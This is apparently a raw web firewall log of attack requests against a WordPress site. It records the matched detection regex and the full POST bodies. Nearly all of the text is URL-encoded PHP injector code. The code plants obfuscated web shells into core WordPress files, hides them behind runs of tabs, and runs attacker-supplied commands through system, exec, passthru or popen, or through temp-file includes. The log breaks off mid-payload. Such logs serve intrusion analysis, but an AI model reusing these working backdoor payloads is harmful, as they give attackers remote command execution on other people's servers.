pW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpSpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5310\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\npW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:55:55","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:5333\nhost:dewenlabels.com\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status502.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524config_manager2%2520%253D%2520%2522%255Cx73h%255Cx65l%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524config_manager7%2520%253D%2520%2522p%255Cx63lose%2522%253B%2520%2524config_manager4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73st%255Cx68ru%2522%253B%2520%2524initialized%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62%255Cx69n%2522%253B%2520%2524config_manager1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524config_manager5%2520%253D%2520%2522%255Cx70open%2522%253B%2520%2524config_manager6%2520%253D%2520%2522%255Cx73t%255Cx72%255Cx65a%255Cx6D_ge%255Cx74_c%255Cx6Fn%255Cx74%255Cx65n%255Cx74s%2522%253B%2520%2524config_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%2529%2520%257B%2520function%2520sync_manager%2528%2524symbol%2520%252C%2520%2524descriptor%2520%2529%257B%2520%2524rec%2520%253D%2520%2527%2527%253B%2520%2524f%253D0%253B%2520while%2528%2524f%253Cstrlen%2528%2524symbol%2529%2529%257B%2520%2524rec.%253Dchr%2528ord%2528%2524symbol%255B%2524f%255D%2529%255E%2524descriptor%2529%253B%2520%2524f%252B%252B%253B%2520%257D%2520return%2524rec%253B%2520%257D%2520%2524flag%2520%253D%2520%2524initialized%2528%2524_POST%255B%2522f%255Cx6Ca%255Cx67%2522%255D%2529%253B%2520%2524flag%2520%253D%2520sync_manager%2528%2524flag%252C%252075%2529%253B%2520if%2520%2528function_exists%2528%2524config_manager1%2529%2529%2520%257B%2520%2524config_manager1%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager2%2529%2529%2520%257B%2520print%2520%2524config_manager2%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager3%2529%2529%2520%257B%2520%2524config_manager3%2528%2524flag%252C%2520%2524key_symbol%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524key_symbol%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager4%2529%2529%2520%257B%2520%2524config_manager4%2528%2524flag%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524config_manager5%2529%2520%2526%2526%2520function_exists%2528%2524config_manager6%2529%2520%2526%2526%2520function_exists%2528%2524config_manager7%2529%2529%2520%257B%2520%2524descriptor_rec%2520%253D%2520%2524config_manager5%2528%2524flag%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524descriptor_rec%2529%2520%257B%2520%2524entity_pgrp%2520%253D%2520%2524config_manager6%2528%2524descriptor_rec%2529%253B%2520%2524config_manager7%2528%2524descriptor_rec%2529%253B%2520print%2520%2524entity_pgrp%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:55:59","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520%2528%2524parameter_group%2520%253D%25200%252C%2520%2524pset%2520%253D%2520count%2528%2524element%2529%253B%2520%2524parameter_group%2520%253C%2520%2524pset%253B%2520%2524parameter_group%252B%252B%2529%2520%257B%2520%2524record%2520%253D%2520%2524element%255B%2524parameter_group%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524record%2529%2520%252A%2520is_writable%2528%2524record%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524record%252C%2520%2522.mrk%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524key%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMz0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:5035\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nfm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/SecretStream\/State.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520%2524_REQUEST%255B%2522%255Cx63%255Cx6Fmpon%255Cx65nt%2522%255D%253B%2520%2524sym%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2524sym%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524__len%2520%253D%2520count%2528%2524sym%2520%2529%253B%2520for%2520%2528%2524w%2520%253D%25200%253B%2520%2524w%2520%253C%2520%2524__len%253B%2520%2524w%252B%252B%2529%2520%257B%2520%2524v6%2520%253D%2520%2524sym%255B%2524w%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524w%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524w%2525%252010%2529%2529%2520%255E%252083%253B%2520%2524key%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520for%2520